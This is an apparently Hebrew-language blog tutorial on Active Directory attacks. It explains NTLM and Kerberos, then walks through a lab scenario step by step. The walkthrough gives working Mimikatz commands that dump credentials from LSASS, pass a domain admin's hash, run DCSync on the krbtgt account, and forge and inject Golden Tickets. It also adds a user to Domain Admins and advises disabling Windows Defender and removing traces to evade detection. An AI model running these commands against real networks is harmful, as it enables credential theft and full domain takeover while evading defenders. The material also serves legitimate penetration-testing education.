Home אבטחת מידעPenetration Testing - Offense Pass The Hash ממשתמש למנהל הארגון בעזרת Mimikatz והסבר על Golden Ticket | Pass The ticket | | NTLM

Pass The Hash ממשתמש למנהל הארגון בעזרת Mimikatz והסבר על Golden Ticket | Pass The ticket | | NTLM

0 comment
נהנתם מהמאמר ? שתפו אותו!

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

ממשתמש למנהל הארגון בעזרת Mimikatz והסבר על Pass The Hash | Pass The ticket | Golden Ticket | Silver Ticket

במאמר זה נבצע כמה סוגי התקפות:

Pass The Hash

על מנת להבין את סט המתקפות האלו, קודם כל עלינו להבין NTLM קיצור של NT Lan Manager ה NTLM מספק הרשאות ברמת , אימות, שלמות המידע וסודיותו.
הNTLM משתמש ב2 טכניקות עיקריות:
* הוא שולח לשרת הודעת "אימות" בה הוא מציג אילו יכולות של התחברות יש לו (NTLM)
*הוא מאמת את המשתמש ומוודא שאכן זה הוא.
*המשתמש מאמת עצמו מול השרת ומקבל גישה

השיטה בה NTLM עובד, הוא לקחת את הרשאות המשתמש ולבצע לה One Way Function או בשמו השני SHA הוא הופך את ההרשאות של המשתמש ל Hash מסוג NTLM.

כל משתמש שמתחבר אל השרת ולא התנתק באופן מוחלט, ה Hash הזה, ה NTLM נשמר בתוך הרשת.
על ידי כך שניתן להוציא את ה Hashים האלו אנחנו יכולים להשתמש ב Hashים האלו על מנת לקבל הרשאות על המחשב של אותו המשתמש גם אם הוא Domain Admin ופי כמה הבעיה היא כאשר Domain Admin מחובר לאותו המחשב (ברקע).

הHash יכול להגיע מכמה מקורות:

  • Cached Hash – הוא Hash אשר נשמר על השרת ממשתמש אשר מחובר ברקע (נאמר המשתמשת יעל מחוברת כעת אבל מקודם התחבר משתמש שהוא Domain Admin) או משתמש שהתחבר על ידי RDP,  פרטים אלו יושבים על קובץ הSAM
  • Local Admin SAM – קובץ ה SAM במחשב מכיל את הרשאות המנהל המקומי, כך ניתן לקבל הרשאות מנהל על ידי משתמש שאינו בהכרח המנהל.
  • האזנה של Wireshark או כל Sniffer אחר, על ידי האזנה של NTLM "לחיצות ידיים" נוכל לנסות להשיג את ה NTLM שעובר ברשת ובכך להשיג הרשאה של משתמש.
  • הוצאה של הרשאות משתמש מ Lsass.exe – ה Lsass.exe הוא קיצור של Local Security Authority Subsystem Service והוא תהליך של מייקרוסופט הרץ במחשב, אחריותו על אבטחת המחשב היא גדולה.
    הוא אחראי להחיל את המדיניות של GPO ברמת האבטחה (סיסמאות וכו') הוא מאמת את הרשאות המשתמש, שינוי הסיסמא שלו ומייצר את ה Token.
    בגלל שהתהליך אחראי על אבטחת המחשב הוא מכיל את הרשאות ה NTLM כך שתוקף יכול לנצל זאת ולנסות לבצע Hash Dump מתוך ה Lsass.exe (זאת אומרת מתוך הזיכרון של המחשב) הוא בנוסף מכיל את המשתמשים המחוברים למחשב ואת המשתמשים שהתחברו דרך RDP.

את ה Hash הזה ניתן להוציא על ידי מגוון תוכנות אבטחה אשר מבצעות HashDump ומוציאות את ה Hash של המשתמש.
על ידי אותו ה Hash נשתמש על מנת לקבל את "הרשאות" המשתמש ובכך לבצע Privilege Escalation

  • Golden Ticket

על מנת להבין מתקפה זו, קראו קודם את הסבר על Kerberos בכל דומיין קיים המשתמש krbtgt משתמש זה מנוהל על ידי ה KDC.
אם קראתם את המאמר של Kerberos הבנתם כי ה KDC מעניק את ה Ticket למשתמש ולמעשה המשתמש יכול לגשת לכל שרת ללא ביצוע הזדהות שוב ושוב.
אתם בטח אומרים לעצמכם, מצויין, אז ניקח למשתמש את ה Ticket שלו ונוכל לגשת לכל השרתים של אותו המשתמש.
חשיבה יפה! אבל אנחנו רוצים גבוהה יותר, אנחנו רוצים לגנוב את ה Hash ה NTLM של ????? ה krbtgt כל שלמעשה נוכל ליצור לעצמנו TGT ולקבל את ההרשאות הגבוהות ביותר מבלי שאף אחד גם יודע.

משתמש ה krbtgt יושב ב Active Directory ב Container של Users.

אז מה הבעיה? ה krbtgt למעשה שוכן רק בתוך DC הלוא הוא ה Domain Controller , האם כאשר התוקף נמצא בתוך המחשב של הפקיד\פקידה הוא יכול להגיע לתוך ה DC? התשובה לא כל כך, ובמאמר זה נראה כיצד ניתן לבצע זאת.

על מנת להשיג היכולת ליצור Ticket "מזוייף" שניצור מTGT's עלינו להשיג הרשאות ל krbtgt:

  • שם הדומיין בו אנו נמצאים
  • ה SID של krbtgt
  • ה NTLM Hash

ברגע שנשיג את הרשאות המשתמש krbtgt נוכל ליצור ticket של krbtgt שיכול להשיג הרשאות לכל משתמש בארגון (אם לא הבנתם קראו את המאמר שמסביר על kerberos) אם השגנו כזה "כרטיס" הוא תקף ל10 שנים ובעצם נוכל להשיג כל הרשאה לכל שרת ומחשב בדומיין מבלי שידעו אפילו ולכן זה נקרא Golden Ticket

  • Pass The Ticket

כאשר השימוש של Golden Ticket הוא להשתמש בהרשאות של krbtgt בשביל לייצר Tickets ובכך לגשת לכל שרת\מחשב בארגון.
ה Pass the ticket זה היכולת להוציא את ה Ticket של משתמש (שתקף ל 10 שעות) ולהשתמש בו על מנת לקבל הרשאות של אותו המשתמש
ממש כמו שזה רשום להעביר את ה"כרטיס" אלינו של משתמש אחר

  • Silver Ticket

הוא השגה של הרשאות של שירות או משתמש שרץ בתוך שירות, תארו לכם התוקף נכנס לשרת רגיל ואין לו הרשאות מיוחדות, הוא מבצע Hash Dump ומוציא את המשתמש SQLADMIN משתמש שהארגון יצר , הכניס לתוך הService , דוגמה

המשתמש הזה וההרשאות שלו רצות בתוך המכונה, ברגע שאשיג את ה Kerberos ticket של ה Administrator אוכל לקבל הרשאות גבוהות.

Privilege Escalation

כאשר תוקף מצליח להשתלט על המחשב על ידי Exploit או Backdoor או Trojanhorse הוא עדיין לא השיג שליטה על המערכת.

המטרה שלו היא לקבל את ההרשאות הגבוהות ביותר, אם זה בלינוקס אז Root ואם זה במייקרוסופט? אז הוא רוצה את Domain Admin ובכך יכול לקבל גישה לכלל משאבי הארגון.
הבעיה היא כאשר הוא שולח את אותו הMalware הוא נתקל בבעיה, לרוב מפעיל ה"רוגלה" זה הפקיד\פקידה ולא בהכרח משתמש אשר מנהל את הארגון או ה Domain Admin או כל משתמש עם הרשאות.
לכן, כאשר הוא מתחבר למשחב הוא מעוניין לבצע Privilege Escalation להשיג הרשאות גבוהות יותר מזה הוא נמצא כעת
בהרבה דרכים ניתן לבצע זאת, דרך Exploit או דרך Phishing ועוד.
אחד האמצעים הנפוצים זה על ידי Mimikatz ודומיו, בעצם להוציא את ה Hash Dump ולהשתמש בו על מנת לבצע את ה Privilege Escalation.

במאמר זה נבצע Privilege Escalation מסוג Pass The Hash  וסוגיו שהסברתי קודם לכן.

Pass The Hash

דרישות:

  • שרת DC שמוגדר בו ה Domain שלכם
  • שרת או אותו שרת DC שמותקן בו Microsoft ATA (לא חובה, זה על מנת לקבל התראות על Pass The Hash
  • מחשב PC1 אשר מצורף לדומיין Windows 10 ומותקן בו RSAT

תרחיש:

הפקיד\הפקידה ניגשו לתיבת האימייל שלהם והפעילו Trojanhorse, התוקף קיבל גישה מרוחקת למחשב

כעת התוקף מחובר עם ההרשאות של יעל, יעל יכולה להיות מצוות כוח האדם, כספים, עורכת דין של החברה וכו'

יעל ושאר חבריה למשרד הם מנהלים מקומיים זאת אומרת יש להם הרשאות Local Administrator.

בגלל שהמשתמש של יעל הוא עם הרשאות של מנהל מקומי, נבטל תחילה את ה Windows Defender ובכך נבטל את האנטי ווירוס

נכנס להגדרות המחשב

תחילה נוריד את Mimikatz

נחלץ את Mimikatz ונכנס לתיקייה X64

נפעיל ה cmd וניגש לנתיב שה Mimikatz יושב

cd c:\users\yael\downloads\mimikatz....

ברגע שאנחנו בתיקייה שבו mimikatz יושב נרשום mimikatz על מנת להיכנס אליו.

התרחיש כעת:

  • המשתמשת Noy היא מנהלת הרשת והיא Domain Admins

  • התוקף לא מחובר למשתמשת Noy אלא Yael אבל הוא מבחין כי Noy התחברה בעבר למחשב ועדיין מחוברת ברקע – יכול להיות גם שNoy התחברה ב RDP מרחוק למחשב זה על מנת להתקין בו תוכנה \ אפליקציה
  • אני התחברתי עם המשתמשת Noy התנתקי ואז התחברתי עם יעל על מנת לדמות את התרחיש הזה

התוקף מחליט לנסות לקחת את ההרשאות של המשתמשת Noy

הוא מקיש

privilege::debug

על מנת לבדוק שיש לו הרשאות ולהחיל אותם כעת

כעת נקיש את

sekurlsa::logonpasswords

נרד למטה ונמצא שהמשתמשת Noy ה Hash שלה עדיין במערכת

נעתיק את 3 השורות האלו

כעת נפתח CMD עם ההרשאות של Noy על ידי שימוש ה Hash שלה

sekurlsa::pth /user:noy /domain:shushan.local /ntlm:4a1592e184db5885567.... /run cmd

אל תשכחו לשנות אצלכם לפי הפרמטרים

  • user
  • domain
  • ntlm

כעת יפתח CMD עם ההרשאות של Noy ( ל Noy יש הרשאות של Domain Admins)

כעת נוסיף את Yael כמשתמשת החברה ב Domain Admins

net group "Domain Admins" yael /ADD /DOMAIN

כעת נבדוק שאכן הכל עבד כשורה, נבדוק את הקבוצה ב Domain Admins

מצויין יעל חברה שם

וכך השגנו הרשאות של Domain Admins על ידי Pass The Hash

Golden Ticket

על מנת להשיג Golden Ticket וליצור מצב בו אנחנו משתמשים לזמן קצר בהרשאות שהשגנו של יעל

זאת אומרת אם יש לנו כמה שעות או ימים עד שאנשי הסיסטם יבחינו כי יעל חברה בקבוצה Domain Admin ואינה שלה או יותר מכך קיימת מערכת Microsoft ATA או APT מכל סוג שהוא, והמערכת כבר התריעה עלינו, אנחנו רוצים להשיג Golden Ticket כמה שיותר מהם ולהסיר את ההרשאות של יעל ובכך להימנע מגילוי.

נקיש כעת

lsadump::dcsync /domain:shushan.local /user:krbtgt

זאת  על מנת להשיג את ה Hash של krbtgt

נעתיק את ה Hash של ה krbtgt

כעת אנחנו רוצים ליצור כרטיס אשר משולב מהמשתמש administrator  ומה krbtgt כך שכל פעם שנרצה להשתמש בו נוכל להנפיק Ticket חדש על ידי המשתמש krbtgt שכן יש לנו את ה Hash שלו

lsadump::dcsync /domain:shushan.local /user:administrator

כעת נעתיק את ה SID של administrator

ונקיש את הפקודה

kerberos::golden /krbtgt:ewf43r4fr34r345t4wefwert4  /admin:administrator /domain:shuhsan.local /sid:S-1-5-21-324432546543454564565-435435435-500 /ticket:administrator.ticket.bin

אל תשכחו לשנות את

  • /krbtgt – ה NTLM של ה Hash
  • /domain
  • sid/ – לפי מה שהעתקתם קודם

ולחצו Enter

שימוש ב Golden Ticket

כעת נשתמש ב Golden Ticket, כאשר יצרנו את ה Golden Ticket שלנו, בכל פעם שנרצה להפעיל אותו, נוכל להשתמש בו כך:

כעת נסיר ליעל את ההרשאות Domain Admin , התנתקו מהשתמש שלה (וודאו שעשיתם את זה על מנת להמשיך במעבדה)

כעת התחברו שוב עם יעל

אין לה הרשאות להוסיף משתמשים ל Domain Admin

כעת

נקיש את הפקודה

kerberos::ptt ticket.kirbi
  • ביצירה של ה Ticket נתנו את השם administrator.ticket.bin אז שנו את שם הכרטיס

מצויין כעת הTicket חל

Silver Ticket

זה הוצאת ה Hash מתוך שירות שרץ ברקע ברקע, הכוונה האמיתית ל Silver Tickets זה הוצאה של ה Service Ticket שקיבל השירות מ Kerberos

בכללי ניתן להשתמש בחשבון שרץ ברקע בדיוק כמו Pass The Hash

למשל שירות בשם OSSEC HIDS רץ ברקע

נשתמש בNTLM שלו

privilege::debug
sekurlsa::logonpasswords

sekurlsa::pth /user:noy /domain:shushan.local /ntlm:4a1592e184db5885567.... /run cmd

השירות היה Domain Admin ולכן השתמשנו בהרשאות שלו על מנת להוסיף את יעל ל Domain Admins

מאמרים קשורים

Leave a Comment